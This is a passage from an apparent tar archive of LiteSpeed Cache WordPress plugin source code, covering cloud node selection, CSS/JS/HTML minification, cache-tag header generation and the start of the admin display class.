Sitemap', 'litespeed-cache' ), self::O_DEBUG_DISABLE_ALL => __( 'Disable All Features', 'litespeed-cache' ), self::O_DEBUG => __( 'Debug Log', 'litespeed-cache' ), self::O_DEBUG_IPS => __( 'Admin IPs', 'litespeed-cache' ), self::O_DEBUG_LEVEL => __( 'Debug Level', 'litespeed-cache' ), self::O_DEBUG_FILESIZE => __( 'Log File Size Limit', 'litespeed-cache' ), self::O_DEBUG_COLLAPSE_QS => __( 'Collapse Query Strings', 'litespeed-cache' ), self::O_DEBUG_INC => __( 'Debug URI Includes', 'litespeed-cache' ), self::O_DEBUG_EXC => __( 'Debug URI Excludes', 'litespeed-cache' ), self::O_DEBUG_EXC_STRINGS => __( 'Debug String Excludes', 'litespeed-cache' ), self::O_DB_OPTM_REVISIONS_MAX => __( 'Revisions Max Number', 'litespeed-cache' ), self::O_DB_OPTM_REVISIONS_AGE => __( 'Revisions Max Age', 'litespeed-cache' ), self::O_OPTIMAX => __( 'OptimaX', 'litespeed-cache' ), ]; if ( array_key_exists( $id, $_lang_list ) ) { return $_lang_list[ $id ]; } return 'N/A'; } } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/src/cloud-node.trait.php����������������������������������������������������0000644�����������������00000013712�15233526476�0015740 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Cloud node detection trait * * @package LiteSpeed * @since 7.8 */ namespace LiteSpeed; defined( 'WPINC' ) || exit(); /** * Trait Cloud_Node * * Handles cloud node detection and management. */ trait Cloud_Node { /** * Clear all existing cloud nodes for future reconnect * * @since 3.0 * @access public */ public function clear_cloud() { foreach ( self::$services as $service ) { if ( isset( $this->_summary[ 'server.' . $service ] ) ) { unset( $this->_summary[ 'server.' . $service ] ); } if ( isset( $this->_summary[ 'server_date.' . $service ] ) ) { unset( $this->_summary[ 'server_date.' . $service ] ); } } self::save_summary(); self::debug( 'Cleared all local service node caches' ); } /** * Ping clouds to find the fastest node * * @since 3.0 * @access public * * @param string $service Service. * @param bool $force Force redetect. * @return string|false */ public function detect_cloud( $service, $force = false ) { if ( in_array( $service, self::$center_svc_set, true ) ) { return $this->_cloud_server; } if ( in_array( $service, self::$wp_svc_set, true ) ) { return $this->_cloud_server_wp; } // Check if the stored server needs to be refreshed if ( ! $force ) { if ( ! empty( $this->_summary[ 'server.' . $service ] ) && ! empty( $this->_summary[ 'server_date.' . $service ] ) && (int) $this->_summary[ 'server_date.' . $service ] > time() - 86400 * self::TTL_NODE ) { $server = $this->_summary[ 'server.' . $service ]; if ( false === strpos( $this->_cloud_server, 'preview.' ) && false === strpos( $server, 'preview.' ) ) { return $server; } if ( false !== strpos( $this->_cloud_server, 'preview.' ) && false !== strpos( $server, 'preview.' ) ) { return $server; } } } if ( ! $service || ! in_array( $service, self::$services, true ) ) { $msg = __( 'Cloud Error', 'litespeed-cache' ) . ': ' . $service; Admin_Display::error( $msg ); return false; } // Send request to Quic Online Service $json = $this->_post( self::SVC_D_NODES, [ 'svc' => $this->_maybe_queue( $service ) ] ); // Check if get list correctly if ( empty( $json['list'] ) || ! is_array( $json['list'] ) ) { self::debug( 'request cloud list failed: ', $json ); if ( $json ) { $msg = __( 'Cloud Error', 'litespeed-cache' ) . ": [Service] $service [Info] " . wp_json_encode( $json ); Admin_Display::error( $msg ); } return false; } // Ping closest cloud $valid_clouds = false; if ( ! empty( $json['list_preferred'] ) ) { $valid_clouds = $this->_get_closest_nodes( $json['list_preferred'], $service ); } if ( ! $valid_clouds ) { $valid_clouds = $this->_get_closest_nodes( $json['list'], $service ); } if ( ! $valid_clouds ) { return false; } // Check server load if ( in_array( $service, self::$services_load_check, true ) ) { // TODO $valid_cloud_loads = []; foreach ( $valid_clouds as $v ) { $response = wp_safe_remote_get( $v, [ 'timeout' => 5 ] ); if ( is_wp_error( $response ) ) { $error_message = $response->get_error_message(); self::debug( 'failed to do load checker: ' . $error_message ); continue; } $curr_load = \json_decode( $response['body'], true ); if ( ! empty( $curr_load['_res'] ) && 'ok' === $curr_load['_res'] && isset( $curr_load['load'] ) ) { $valid_cloud_loads[ $v ] = $curr_load['load']; } } if ( ! $valid_cloud_loads ) { $msg = __( 'Cloud Error', 'litespeed-cache' ) . ": [Service] $service [Info] " . __( 'No available Cloud Node after checked server load.', 'litespeed-cache' ); Admin_Display::error( $msg ); return false; } self::debug( 'Closest nodes list after load check', $valid_cloud_loads ); $qualified_list = array_keys( $valid_cloud_loads, min( $valid_cloud_loads ), true ); } else { $qualified_list = $valid_clouds; } $closest = $qualified_list[ array_rand( $qualified_list ) ]; self::debug( 'Chose node: ' . $closest ); // store data into option locally $this->_summary[ 'server.' . $service ] = $closest; $this->_summary[ 'server_date.' . $service ] = time(); self::save_summary(); return $this->_summary[ 'server.' . $service ]; } /** * Ping to choose the closest nodes * * @since 7.0 * * @param array $nodes_list Node list. * @param string $service Service. * @return array|false */ private function _get_closest_nodes( $nodes_list, $service ) { $speed_list = []; foreach ( $nodes_list as $v ) { // Exclude possible failed 503 nodes if ( ! empty( $this->_summary['disabled_node'] ) && ! empty( $this->_summary['disabled_node'][ $v ] ) && time() - (int) $this->_summary['disabled_node'][ $v ] < 86400 ) { continue; } $speed_list[ $v ] = Utility::ping( $v ); } if ( ! $speed_list ) { self::debug( 'nodes are in 503 failed nodes' ); return false; } $min = min( $speed_list ); if ( 99999 === (int) $min ) { self::debug( 'failed to ping all clouds' ); return false; } // Random pick same time range ip (230ms 250ms) $range_len = strlen( $min ); $range_num = substr( $min, 0, 1 ); $valid_clouds = []; foreach ( $speed_list as $node => $speed ) { if ( strlen( $speed ) === $range_len && substr( $speed, 0, 1 ) === $range_num ) { $valid_clouds[] = $node; } elseif ( $speed < $min * 4 ) { // Append the lower speed ones $valid_clouds[] = $node; } } if ( ! $valid_clouds ) { $msg = __( 'Cloud Error', 'litespeed-cache' ) . ": [Service] $service [Info] " . __( 'No available Cloud Node.', 'litespeed-cache' ); Admin_Display::error( $msg ); return false; } self::debug( 'Closest nodes list', $valid_clouds ); return $valid_clouds; } /** * May need to convert to queue service * * @param string $service Service. * @return string */ private function _maybe_queue( $service ) { if ( in_array( $service, self::$_queue_svc_set, true ) ) { return self::SVC_QUEUE; } return $service; } } ������������������������������������������������������plugins/litespeed-cache/src/optimizer.cls.php�������������������������������������������������������0000644�����������������00000025002�15233526476�0015362 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // phpcs:ignoreFile /** * The optimize4 class. * * @since 1.9 * @package LiteSpeed */ namespace LiteSpeed; defined('WPINC') || exit(); class Optimizer extends Root { private $_conf_css_font_display; /** * Init optimizer * * @since 1.9 */ public function __construct() { $this->_conf_css_font_display = $this->conf(Base::O_OPTM_CSS_FONT_DISPLAY); } /** * Run HTML minify process and return final content * * @since 1.9 * @access public */ public function html_min( $content, $force_inline_minify = false ) { if (!apply_filters('litespeed_html_min', true)) { Debug2::debug2('[Optmer] html_min bypassed via litespeed_html_min filter'); return $content; } $options = array(); if ($force_inline_minify) { $options['jsMinifier'] = __CLASS__ . '::minify_js'; } $skip_comments = $this->conf(Base::O_OPTM_HTML_SKIP_COMMENTS); if ($skip_comments) { $options['skipComments'] = $skip_comments; } /** * Added exception capture when minify * * @since 2.2.3 */ try { $obj = new Lib\HTML_MIN($content, $options); $content_final = $obj->process(); // check if content from minification is empty if ($content_final == '') { Debug2::debug('Failed to minify HTML: HTML minification resulted in empty HTML'); return $content; } if (!defined('LSCACHE_ESI_SILENCE')) { $content_final .= "\n" . '<!-- Page optimized by LiteSpeed Cache @' . date('Y-m-d H:i:s', time() + LITESPEED_TIME_OFFSET) . ' -->'; } return $content_final; } catch (\Exception $e) { Debug2::debug('******[Optmer] html_min failed: ' . $e->getMessage()); error_log('****** LiteSpeed Optimizer html_min failed: ' . $e->getMessage()); return $content; } } /** * Run minify process and save content * * @since 1.9 * @access public */ public function serve( $request_url, $file_type, $minify, $src_list ) { // Try Unique CSS if ($file_type == 'css') { $content = false; if (defined('LITESPEED_GUEST_OPTM') || $this->conf(Base::O_OPTM_UCSS)) { $filename = $this->cls('UCSS')->load($request_url); if ($filename) { return array( $filename, 'ucss' ); } } } // Before generated, don't know the contented hash filename yet, so used url hash as tmp filename $file_path_prefix = $this->_build_filepath_prefix($file_type); $url_tag = $request_url; $url_tag_for_file = md5($request_url); if (is_404()) { $url_tag_for_file = $url_tag = '404'; } elseif ($file_type == 'css' && apply_filters('litespeed_ucss_per_pagetype', false)) { $url_tag_for_file = $url_tag = Utility::page_type(); } $static_file = LITESPEED_STATIC_DIR . $file_path_prefix . $url_tag_for_file . '.' . $file_type; // Create tmp file to avoid conflict $tmp_static_file = $static_file . '.tmp'; if (file_exists($tmp_static_file) && time() - filemtime($tmp_static_file) <= 600) { // some other request is generating return false; } // File::save( $tmp_static_file, '/* ' . ( is_404() ? '404' : $request_url ) . ' */', true ); // Can't use this bcos this will get filecon md5 changed File::save($tmp_static_file, '', true); // Load content $real_files = array(); foreach ($src_list as $src_info) { $is_min = false; if (!empty($src_info['inl'])) { // Load inline $content = $src_info['src']; } else { // Load file $content = $this->load_file($src_info['src'], $file_type); if (!$content) { continue; } $is_min = $this->is_min($src_info['src']); } $content = $this->optm_snippet($content, $file_type, $minify && !$is_min, $src_info['src'], !empty($src_info['media']) ? $src_info['media'] : false); // Write to file File::save($tmp_static_file, $content, true, true); } // if CSS - run the minification on the saved file. // Will move imports to the top of file and remove extra spaces. if ($file_type == 'css') { $obj = new Lib\CSS_JS_MIN\Minify\CSS(); $file_content_combined = $obj->moveImportsToTop(File::read($tmp_static_file)); File::save($tmp_static_file, $file_content_combined); } // validate md5 $filecon_md5 = md5_file($tmp_static_file); $final_file_path = $file_path_prefix . $filecon_md5 . '.' . $file_type; $realfile = LITESPEED_STATIC_DIR . $final_file_path; if (!file_exists($realfile)) { rename($tmp_static_file, $realfile); Debug2::debug2('[Optmer] Saved static file [path] ' . $realfile); } else { unlink($tmp_static_file); } $vary = $this->cls('Vary')->finalize_full_varies(); Debug2::debug2("[Optmer] Save URL to file for [file_type] $file_type [file] $filecon_md5 [vary] $vary "); $this->cls('Data')->save_url($url_tag, $vary, $file_type, $filecon_md5, dirname($realfile)); return array( $filecon_md5 . '.' . $file_type, $file_type ); } /** * Add font optimization to content provided. * * @param string $content Content to change * @return string Changed content * @since 7.8 */ public function optm_font_face( $content ) { // skip $this->_conf_css_font_display if not true or empty content if ( ! $this->_conf_css_font_display || empty( $content ) ) { return $content; } $optimize_value = apply_filters( 'litespeed_font_optimize_value', 'swap' ); $search_pattern = "/font-display\s*:(?!\s*" . preg_quote($optimize_value, '/') . ")[^;]+;?/ism"; return preg_replace_callback( '/@font-face\s*\{([^\}]*)\}/iS', function( $matches ) use ( $optimize_value, $search_pattern ) { $block_content = $matches[1]; // add font-display if content do not have if ( stripos( $block_content, 'font-display' ) === false ) { $block_content = "font-display:" . $optimize_value . ";" . $block_content; } else if( 0 !== preg_match( $search_pattern, $block_content ) ) { // font-display have other value than swap $block_content = preg_replace( '/font-display\s*:\s*[^;\}]+;?/is', "font-display:$optimize_value;", $block_content ); } return "@font-face{ $block_content }"; }, $content ); } /** * Load a single file * * @since 4.0 */ public function optm_snippet( $content, $file_type, $minify, $src, $media = false ) { // CSS related features if ($file_type == 'css') { // Font optimize $content = $this->optm_font_face( $content ); $content = preg_replace('/@charset[^;]+;\\s*/', '', $content); if ($media) { $content = '@media ' . $media . '{' . $content . "\n}"; } if ($minify) { $content = self::minify_css($content); } $content = $this->cls('CDN')->finalize($content); if ((defined('LITESPEED_GUEST_OPTM') || $this->conf(Base::O_IMG_OPTM_WEBP)) && $this->cls('Media')->webp_support()) { $content = $this->cls('Media')->replace_background_webp($content); } } else { if ($minify) { $content = self::minify_js($content); } else { $content = $this->_null_minifier($content); } $content .= "\n;"; } // Add filter $content = apply_filters('litespeed_optm_cssjs', $content, $file_type, $src); return $content; } /** * Load remote resource from cache if existed * * @since 4.7 */ private function load_cached_file( $url, $file_type ) { $file_path_prefix = $this->_build_filepath_prefix($file_type); $folder_name = LITESPEED_STATIC_DIR . $file_path_prefix; $to_be_deleted_folder = $folder_name . date('Ymd', strtotime('-2 days')); if (file_exists($to_be_deleted_folder)) { Debug2::debug('[Optimizer] ❌ Clearing folder [name] ' . $to_be_deleted_folder); File::rrmdir($to_be_deleted_folder); } $today_file = $folder_name . date('Ymd') . '/' . md5($url); if (file_exists($today_file)) { return File::read($today_file); } // Write file $res = wp_safe_remote_get($url); $res_code = wp_remote_retrieve_response_code($res); if (is_wp_error($res) || $res_code != 200) { Debug2::debug2('[Optimizer] ❌ Load Remote error [code] ' . $res_code); return false; } $con = wp_remote_retrieve_body($res); if (!$con) { return false; } Debug2::debug('[Optimizer] ✅ Save remote file to cache [name] ' . $today_file); File::save($today_file, $con, true); return $con; } /** * Load remote/local resource * * @since 3.5 */ public function load_file( $src, $file_type = 'css' ) { $real_file = Utility::is_internal_file($src); $postfix = pathinfo(parse_url($src, PHP_URL_PATH), PATHINFO_EXTENSION); if (!$real_file || $postfix != $file_type) { Debug2::debug2('[CSS] Load Remote [' . $file_type . '] ' . $src); $this_url = substr($src, 0, 2) == '//' ? set_url_scheme($src) : $src; $con = $this->load_cached_file($this_url, $file_type); if ($file_type == 'css') { $dirname = dirname($this_url) . '/'; $con = Lib\UriRewriter::prepend($con, $dirname); } } else { Debug2::debug2('[CSS] Load local [' . $file_type . '] ' . $real_file[0]); $con = File::read($real_file[0]); if ($file_type == 'css') { $dirname = dirname($real_file[0]); $con = Lib\UriRewriter::rewrite($con, $dirname); } } return $con; } /** * Minify CSS * * @since 2.2.3 * @access private */ public static function minify_css( $data ) { try { $obj = new Lib\CSS_JS_MIN\Minify\CSS(); $obj->add($data); return $obj->minify(); } catch (\Exception $e) { Debug2::debug('******[Optmer] minify_css failed: ' . $e->getMessage()); error_log('****** LiteSpeed Optimizer minify_css failed: ' . $e->getMessage()); return $data; } } /** * Minify JS * * Added exception capture when minify * * @since 2.2.3 * @access private */ public static function minify_js( $data, $js_type = '' ) { // For inline JS optimize, need to check if it's js type if ($js_type) { preg_match('#type=([\'"])(.+)\g{1}#isU', $js_type, $matches); if ($matches && $matches[2] != 'text/javascript') { Debug2::debug('******[Optmer] minify_js bypass due to type: ' . $matches[2]); return $data; } } try { $obj = new Lib\CSS_JS_MIN\Minify\JS(); $obj->add($data); return $obj->minify(); } catch (\Exception $e) { Debug2::debug('******[Optmer] minify_js failed: ' . $e->getMessage()); // error_log( '****** LiteSpeed Optimizer minify_js failed: ' . $e->getMessage() ); return $data; } } /** * Basic minifier * * @access private */ private function _null_minifier( $content ) { $content = str_replace("\r\n", "\n", $content); return trim($content); } /** * Check if the file is already min file * * @since 1.9 */ public function is_min( $filename ) { $basename = basename($filename); if (preg_match('/[-\.]min\.(?:[a-zA-Z]+)$/i', $basename)) { return true; } return false; } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/src/tag.cls.php�������������������������������������������������������������0000644�����������������00000022411�15233526476�0014114 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // phpcs:ignoreFile /** * The plugin cache-tag class for X-LiteSpeed-Tag * * @since 1.1.3 */ namespace LiteSpeed; defined('WPINC') || exit(); class Tag extends Root { const TYPE_FEED = 'FD'; const TYPE_FRONTPAGE = 'F'; const TYPE_HOME = 'H'; const TYPE_PAGES = 'PGS'; const TYPE_PAGES_WITH_RECENT_POSTS = 'PGSRP'; const TYPE_HTTP = 'HTTP.'; const TYPE_POST = 'Po.'; // Post. Cannot use P, reserved for litemage. const TYPE_ARCHIVE_POSTTYPE = 'PT.'; const TYPE_ARCHIVE_TERM = 'T.'; // for is_category|is_tag|is_tax const TYPE_AUTHOR = 'A.'; const TYPE_ARCHIVE_DATE = 'D.'; const TYPE_BLOG = 'B.'; const TYPE_LOGIN = 'L'; const TYPE_URL = 'URL.'; const TYPE_WIDGET = 'W.'; const TYPE_ESI = 'ESI.'; const TYPE_REST = 'REST'; const TYPE_AJAX = 'AJAX.'; const TYPE_LIST = 'LIST'; const TYPE_MIN = 'MIN'; const TYPE_LOCALRES = 'LOCALRES'; const X_HEADER = 'X-LiteSpeed-Tag'; private static $_tags = array(); private static $_tags_priv = array( 'tag_priv' ); public static $error_code_tags = array( 403, 404, 500 ); /** * Initialize * * @since 4.0 */ public function init() { // register recent posts widget tag before theme renders it to make it work add_filter('widget_posts_args', array( $this, 'add_widget_recent_posts' )); } /** * Check if the login page is cacheable. * If not, unset the cacheable member variable. * * NOTE: This is checked separately because login page doesn't go through WP logic. * * @since 1.0.0 * @access public */ public function check_login_cacheable() { if (!$this->conf(Base::O_CACHE_PAGE_LOGIN)) { return; } if (Control::isset_notcacheable()) { return; } if (!empty($_GET)) { Control::set_nocache('has GET request'); return; } $this->cls('Control')->set_cacheable(); self::add(self::TYPE_LOGIN); // we need to send lsc-cookie manually to make it be sent to all other users when is cacheable $list = headers_list(); if (empty($list)) { return; } foreach ($list as $hdr) { if (strncasecmp($hdr, 'set-cookie:', 11) == 0) { $cookie = substr($hdr, 12); @header('lsc-cookie: ' . $cookie, false); } } } /** * Register purge tag for pages with recent posts widget * of the plugin. * * @since 1.0.15 * @access public * @param array $params [WordPress params for widget_posts_args] */ public function add_widget_recent_posts( $params ) { self::add(self::TYPE_PAGES_WITH_RECENT_POSTS); return $params; } /** * Adds cache tags to the list of cache tags for the current page. * * @since 1.0.5 * @access public * @param mixed $tags A string or array of cache tags to add to the current list. */ public static function add( $tags ) { if (!is_array($tags)) { $tags = array( $tags ); } Debug2::debug('💰 [Tag] Add ', $tags); self::$_tags = array_merge(self::$_tags, $tags); // Send purge header immediately $tag_header = self::cls()->output(true); @header($tag_header); } /** * Add a post id to cache tag * * @since 3.0 * @access public */ public static function add_post( $pid ) { self::add(self::TYPE_POST . $pid); } /** * Add a widget id to cache tag * * @since 3.0 * @access public */ public static function add_widget( $id ) { self::add(self::TYPE_WIDGET . $id); } /** * Add a private ESI to cache tag * * @since 3.0 * @access public */ public static function add_private_esi( $tag ) { self::add_private(self::TYPE_ESI . $tag); } /** * Adds private cache tags to the list of cache tags for the current page. * * @since 1.6.3 * @access public * @param mixed $tags A string or array of cache tags to add to the current list. */ public static function add_private( $tags ) { if (!is_array($tags)) { $tags = array( $tags ); } self::$_tags_priv = array_merge(self::$_tags_priv, $tags); } /** * Return tags for Admin QS * * @since 1.1.3 * @access public */ public static function output_tags() { return self::$_tags; } /** * Will get a hash of the URI. Removes query string and appends a '/' if it is missing. * * @since 1.0.12 * @access public * @param string $uri The uri to get the hash of. * @param boolean $ori Return the original url or not * @return bool|string False on input error, hash otherwise. */ public static function get_uri_tag( $uri, $ori = false ) { $no_qs = strtok($uri, '?'); if (empty($no_qs)) { return false; } $slashed = trailingslashit($no_qs); // If only needs uri tag if ($ori) { return $slashed; } if (defined('LSCWP_LOG')) { return self::TYPE_URL . $slashed; } return self::TYPE_URL . md5($slashed); } /** * Get the unique tag based on self url. * * @since 1.1.3 * @access public * @param boolean $ori Return the original url or not */ public static function build_uri_tag( $ori = false ) { return self::get_uri_tag(urldecode($_SERVER['REQUEST_URI']), $ori); } /** * Gets the cache tags to set for the page. * * This includes site wide post types (e.g. front page) as well as * any third party plugin specific cache tags. * * @since 1.0.0 * @access private * @return array The list of cache tags to set. */ private static function _build_type_tags() { $tags = array(); $tags[] = Utility::page_type(); $tags[] = self::build_uri_tag(); if (is_front_page()) { $tags[] = self::TYPE_FRONTPAGE; } elseif (is_home()) { $tags[] = self::TYPE_HOME; } global $wp_query; if (isset($wp_query)) { $queried_obj_id = get_queried_object_id(); if (is_archive()) { // An Archive is a Category, Tag, Author, Date, Custom Post Type or Custom Taxonomy based pages. if (is_category() || is_tag() || is_tax()) { $tags[] = self::TYPE_ARCHIVE_TERM . $queried_obj_id; } elseif (is_post_type_archive() && ($post_type = get_post_type())) { $tags[] = self::TYPE_ARCHIVE_POSTTYPE . $post_type; } elseif (is_author()) { $tags[] = self::TYPE_AUTHOR . $queried_obj_id; } elseif (is_date()) { global $post; if ($post && isset($post->post_date)) { $date = $post->post_date; $date = strtotime($date); if (is_day()) { $tags[] = self::TYPE_ARCHIVE_DATE . date('Ymd', $date); } elseif (is_month()) { $tags[] = self::TYPE_ARCHIVE_DATE . date('Ym', $date); } elseif (is_year()) { $tags[] = self::TYPE_ARCHIVE_DATE . date('Y', $date); } } } } elseif (is_singular()) { // $this->is_singular = $this->is_single || $this->is_page || $this->is_attachment; $tags[] = self::TYPE_POST . $queried_obj_id; if (is_page()) { $tags[] = self::TYPE_PAGES; } } elseif (is_feed()) { $tags[] = self::TYPE_FEED; } } // Check REST API if (REST::cls()->is_rest()) { $tags[] = self::TYPE_REST; $path = !empty($_SERVER['SCRIPT_URL']) ? $_SERVER['SCRIPT_URL'] : false; if ($path) { // posts collections tag if (substr($path, -6) == '/posts') { $tags[] = self::TYPE_LIST; // Not used for purge yet } // single post tag global $post; if (!empty($post->ID) && substr($path, -strlen($post->ID) - 1) === '/' . $post->ID) { $tags[] = self::TYPE_POST . $post->ID; } // pages collections & single page tag if (stripos($path, '/pages') !== false) { $tags[] = self::TYPE_PAGES; } } } // Append AJAX action tag if (Router::is_ajax() && !empty($_REQUEST['action'])) { $tags[] = self::TYPE_AJAX . $_REQUEST['action']; } return $tags; } /** * Generate all cache tags before output * * @access private * @since 1.1.3 */ private static function _finalize() { // run 3rdparty hooks to tag do_action('litespeed_tag_finalize'); // generate wp tags if (!defined('LSCACHE_IS_ESI')) { $type_tags = self::_build_type_tags(); self::$_tags = array_merge(self::$_tags, $type_tags); } if (defined('LITESPEED_GUEST') && LITESPEED_GUEST) { self::$_tags[] = 'guest'; } // append blog main tag self::$_tags[] = ''; // removed duplicates self::$_tags = array_unique(self::$_tags); } /** * Sets up the Cache Tags header. * ONLY need to run this if is cacheable * * @since 1.1.3 * @access public * @return string empty string if empty, otherwise the cache tags header. */ public function output( $no_finalize = false ) { if (defined('LSCACHE_NO_CACHE') && LSCACHE_NO_CACHE) { return; } if (!$no_finalize) { self::_finalize(); } $prefix_tags = array(); /** * Only append blog_id when is multisite * * @since 2.9.3 */ $prefix = LSWCP_TAG_PREFIX . (is_multisite() ? get_current_blog_id() : '') . '_'; // If is_private and has private tags, append them first, then specify prefix to `public` for public tags if (Control::is_private()) { foreach (self::$_tags_priv as $priv_tag) { $prefix_tags[] = $prefix . $priv_tag; } $prefix = 'public:' . $prefix; } foreach (self::$_tags as $tag) { $prefix_tags[] = $prefix . $tag; } $hdr = self::X_HEADER . ': ' . implode(',', $prefix_tags); return $hdr; } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/src/admin-display.cls.php���������������������������������������������������0000644�����������������00000140740�15233526476�0016102 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * The admin-panel specific functionality of the plugin. * * Provides admin page rendering, notices, enqueueing of assets, * menu registrations, and various admin utilities. * * @since 1.0.0 * @package LiteSpeed * @subpackage LiteSpeed/admin * @author LiteSpeed Technologies <info@litespeedtech.com> */ namespace LiteSpeed; defined( 'WPINC' ) || exit(); /** * Class Admin_Display * * Handles WP-Admin UI for LiteSpeed Cache. */ class Admin_Display extends Base { /** * Log tag for Admin_Display. * * @var string */ const LOG_TAG = '👮‍♀️'; /** * Notice class (info/blue). * * @var string */ const NOTICE_BLUE = 'notice notice-info'; /** * Notice class (success/green). * * @var string */ const NOTICE_GREEN = 'notice notice-success'; /** * Notice class (error/red). * * @var string */ const NOTICE_RED = 'notice notice-error'; /** * Notice class (warning/yellow). * * @var string */ const NOTICE_YELLOW = 'notice notice-warning'; /** * Option key for one-time messages. * * @var string */ const DB_MSG = 'messages'; /** * Option key for pinned messages. * * @var string */ const DB_MSG_PIN = 'msg_pin'; /** * Purge by: category. * * @var string */ const PURGEBY_CAT = '0'; /** * Purge by: post ID. * * @var string */ const PURGEBY_PID = '1'; /** * Purge by: tag. * * @var string */ const PURGEBY_TAG = '2'; /** * Purge by: URL. * * @var string */ const PURGEBY_URL = '3'; /** * Purge selection field name. * * @var string */ const PURGEBYOPT_SELECT = 'purgeby'; /** * Purge list field name. * * @var string */ const PURGEBYOPT_LIST = 'purgebylist'; /** * Dismiss key for messages. * * @var string */ const DB_DISMISS_MSG = 'dismiss'; /** * Rule conflict flag (on). * * @var string */ const RULECONFLICT_ON = 'ExpiresDefault_1'; /** * Rule conflict dismissed flag. * * @var string */ const RULECONFLICT_DISMISSED = 'ExpiresDefault_0'; /** * Router type for QC hide banner. * * @var string */ const TYPE_QC_HIDE_BANNER = 'qc_hide_banner'; /** * Cookie name for QC hide banner. * * @var string */ const COOKIE_QC_HIDE_BANNER = 'litespeed_qc_hide_banner'; /** * Internal messages cache. * * @var array<string,string> */ protected $messages = []; /** * Cached default settings. * * @var array<string,mixed> */ protected $default_settings = []; /** * Whether current context is network admin. * * @var bool */ protected $_is_network_admin = false; /** * Whether multisite is enabled. * * @var bool */ protected $_is_multisite = false; /** * Incremental form submit button index. * * @var int */ private $_btn_i = 0; /** * List of settings with filters and return type. * * @since 7.4 * @deprecated 7.7 Use general conf fitlers. * * @var array<string,array<string,mixed>> */ protected static $settings_filters = [ // Crawler - Blocklist. 'crawler-blocklist' => [ 'filter' => 'litespeed_crawler_disable_blocklist', 'type' => 'boolean', ], // Crawler - Settings. self::O_CRAWLER_LOAD_LIMIT => [ 'filter' => [ Base::ENV_CRAWLER_LOAD_LIMIT_ENFORCE, Base::ENV_CRAWLER_LOAD_LIMIT ], 'type' => 'input', ], // Cache - ESI. self::O_ESI_NONCE => [ 'filter' => 'litespeed_esi_nonces', ], // Page Optimization - CSS. 'optm-ucss_per_pagetype' => [ 'filter' => 'litespeed_ucss_per_pagetype', 'type' => 'boolean', ], // Page Optimization - Media. self::O_MEDIA_ADD_MISSING_SIZES => [ 'filter' => 'litespeed_media_ignore_remote_missing_sizes', 'type' => 'boolean', ], // Page Optimization - Media Exclude. self::O_MEDIA_LAZY_EXC => [ 'filter' => 'litespeed_media_lazy_img_excludes', ], // Page Optimization - Tuning (JS). self::O_OPTM_JS_DELAY_INC => [ 'filter' => 'litespeed_optm_js_delay_inc', ], self::O_OPTM_JS_EXC => [ 'filter' => 'litespeed_optimize_js_excludes', ], self::O_OPTM_JS_DEFER_EXC => [ 'filter' => 'litespeed_optm_js_defer_exc', ], self::O_OPTM_GM_JS_EXC => [ 'filter' => 'litespeed_optm_gm_js_exc', ], self::O_OPTM_EXC => [ 'filter' => 'litespeed_optm_uri_exc', ], // Page Optimization - Tuning (CSS). self::O_OPTM_CSS_EXC => [ 'filter' => 'litespeed_optimize_css_excludes', ], self::O_OPTM_UCSS_EXC => [ 'filter' => 'litespeed_ucss_exc', ], ]; /** * Flat pages map: menu slug to template metadata. * * @var array<string,array{title:string,tpl:string,network?:bool}> */ private $_pages = []; /** * Initialize the class and set its properties. * * @since 1.0.7 */ public function __construct() { $this->_pages = [ // Site-level pages 'litespeed' => [ 'title' => __( 'Dashboard', 'litespeed-cache' ), 'tpl' => 'dash/entry.tpl.php' ], 'litespeed-optimax' => [ 'title' => __( 'OptimaX', 'litespeed-cache' ), 'tpl' => 'optimax/entry.tpl.php', 'scope' => 'site' ], 'litespeed-presets' => [ 'title' => __( 'Presets', 'litespeed-cache' ), 'tpl' => 'presets/entry.tpl.php', 'scope' => 'site' ], 'litespeed-general' => [ 'title' => __( 'General', 'litespeed-cache' ), 'tpl' => 'general/entry.tpl.php' ], 'litespeed-cache' => [ 'title' => __( 'Cache', 'litespeed-cache' ), 'tpl' => 'cache/entry.tpl.php' ], 'litespeed-cdn' => [ 'title' => __( 'CDN', 'litespeed-cache' ), 'tpl' => 'cdn/entry.tpl.php', 'scope' => 'site' ], 'litespeed-img_optm' => [ 'title' => __( 'Image Optimization', 'litespeed-cache'), 'tpl' => 'img_optm/entry.tpl.php' ], 'litespeed-page_optm' => [ 'title' => __( 'Page Optimization', 'litespeed-cache' ), 'tpl' => 'page_optm/entry.tpl.php', 'scope' => 'site' ], 'litespeed-db_optm' => [ 'title' => __( 'Database', 'litespeed-cache' ), 'tpl' => 'db_optm/entry.tpl.php' ], 'litespeed-crawler' => [ 'title' => __( 'Crawler', 'litespeed-cache' ), 'tpl' => 'crawler/entry.tpl.php', 'scope' => 'site' ], 'litespeed-toolbox' => [ 'title' => __( 'Toolbox', 'litespeed-cache' ), 'tpl' => 'toolbox/entry.tpl.php' ], ]; // main css add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_style' ] ); // Main js add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_scripts' ] ); $this->_is_network_admin = is_network_admin(); $this->_is_multisite = is_multisite(); // Quick access menu $manage = ( $this->_is_multisite && $this->_is_network_admin ) ? 'manage_network_options' : 'manage_options'; if ( current_user_can( $manage ) ) { add_action( 'wp_before_admin_bar_render', [ GUI::cls(), 'backend_shortcut' ] ); // `admin_notices` is after `admin_enqueue_scripts`. add_action( $this->_is_network_admin ? 'network_admin_notices' : 'admin_notices', [ $this, 'display_messages' ] ); } /** * In case this is called outside the admin page. * * @see https://codex.wordpress.org/Function_Reference/is_plugin_active_for_network * @since 2.0 */ if ( ! 